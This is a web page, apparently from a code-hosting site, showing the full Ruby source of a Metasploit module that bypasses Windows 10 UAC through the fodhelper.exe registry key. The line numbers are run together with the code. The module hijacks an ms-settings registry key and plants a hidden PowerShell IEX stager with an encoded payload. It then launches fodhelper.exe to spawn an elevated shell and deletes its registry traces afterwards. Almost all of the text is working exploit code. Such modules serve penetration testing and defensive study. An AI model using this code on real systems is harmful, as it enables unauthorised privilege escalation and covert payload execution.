Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_fodhelper.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze14FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze15EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze16EXEC_REG_VAL = ''.freeze # This maps to "(Default)"17EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze18FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze19CMD_MAX_LEN = 163832021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',26'Description' => %q{27This module will bypass Windows 10 UAC by hijacking a special key in the Registry under28the current user hive, and inserting a custom command that will get invoked when29the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC30flag turned off.3132This module modifies a registry key, but cleans up the key once the payload has33been invoked.3435The module does not require the architecture of the payload to match the OS. If36specifying EXE::Custom your DLL should call ExitProcess() after starting your37payload in a separate process.38},39'License' => MSF_LICENSE,40'Author' => [41'winscriptingblog', # UAC bypass discovery and research42'amaloteaux', # MSF module43],44'Platform' => ['win'],45'SessionTypes' => ['meterpreter'],46'Targets' => [47[ 'Windows x86', { 'Arch' => ARCH_X86 } ],48[ 'Windows x64', { 'Arch' => ARCH_X64 } ]49],50'DefaultTarget' => 0,51'References' => [52['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'],53['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'],54['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/']55],56'DisclosureDate' => '2017-05-12',57'Compat' => {58'Meterpreter' => {59'Commands' => %w[60stdapi_sys_process_execute61]62}63}64)65)66end6768def check69version = get_version_info70if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?71Exploit::CheckCode::Appears72else73Exploit::CheckCode::Safe74end75end7677def exploit78commspec = '%COMSPEC%'79registry_view = REGISTRY_VIEW_NATIVE80psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'8182# Make sure we have a sane payload configuration83if sysinfo['Architecture'] == ARCH_X6484if session.arch == ARCH_X8685# fodhelper.exe is x64 only exe86commspec = '%WINDIR%\\Sysnative\\cmd.exe'87if target_arch.first == ARCH_X6488# We can't use absolute path here as89# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session90psh_path = 'powershell.exe'91end92end93if target_arch.first == ARCH_X8694# Invoking x86, so switch to SysWOW6495psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'96end97elsif target_arch.first == ARCH_X6498# if we're on x86, we can't handle x64 payloads99fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')100end101102if !payload.arch.empty? && (payload.arch.first != target_arch.first)103fail_with(Failure::BadConfig, 'payload and target should use the same architecture')104end105106# Validate that we can actually do things before we bother107# doing any more work108check_permissions!109110case get_uac_level111when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,112UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,113UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT114fail_with(Failure::NotVulnerable,115"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")116when UAC_DEFAULT117print_good('UAC is set to Default')118print_good('BypassUAC can bypass this setting, continuing...')119when UAC_NO_PROMPT120print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')121shell_execute_exe122return123end124125payload_value = rand_text_alpha(8)126psh_path = expand_path(psh_path)127128template_path = Rex::Powershell::Templates::TEMPLATE_DIR129psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)130131if psh_payload.length > CMD_MAX_LEN132fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")133end134135psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""136cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"137138existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''139exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?140141if existing.empty?142registry_createkey(FODHELPER_WRITE_KEY, registry_view)143end144145print_status('Configuring payload and stager registry keys ...')146unless exist_delegate147registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)148end149150registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)151registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)152153# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.154cmd_path = expand_path(commspec)155cmd_args = expand_path("/c #{FODHELPER_PATH}")156print_status("Executing payload: #{cmd_path} #{cmd_args}")157158# We can't use cmd_exec here because it blocks, waiting for a result.159client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })160161# Wait a copule of seconds to give the payload a chance to fire before cleaning up162# TODO: fix this up to use something smarter than a timeout?163Rex.sleep(5)164165handler(client)166167print_status('Cleaining up registry keys ...')168unless exist_delegate169registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)170end171if existing.empty?172registry_deletekey(FODHELPER_DEL_KEY, registry_view)173else174registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)175end176registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)177end178179def check_permissions!180fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?181182# Check if you are an admin183vprint_status('Checking admin status...')184admin_group = is_in_admin_group?185186unless check == Exploit::CheckCode::Appears187fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')188end189190unless is_in_admin_group?191fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')192end193194print_status('UAC is Enabled, checking level...')195if admin_group.nil?196print_error('Either whoami is not there or failed to execute')197print_error('Continuing under assumption you already checked...')198elsif admin_group199print_good('Part of Administrators group! Continuing...')200else201fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')202end203204if get_integrity_level == INTEGRITY_LEVEL_SID[:low]205fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')206end207end208end209210211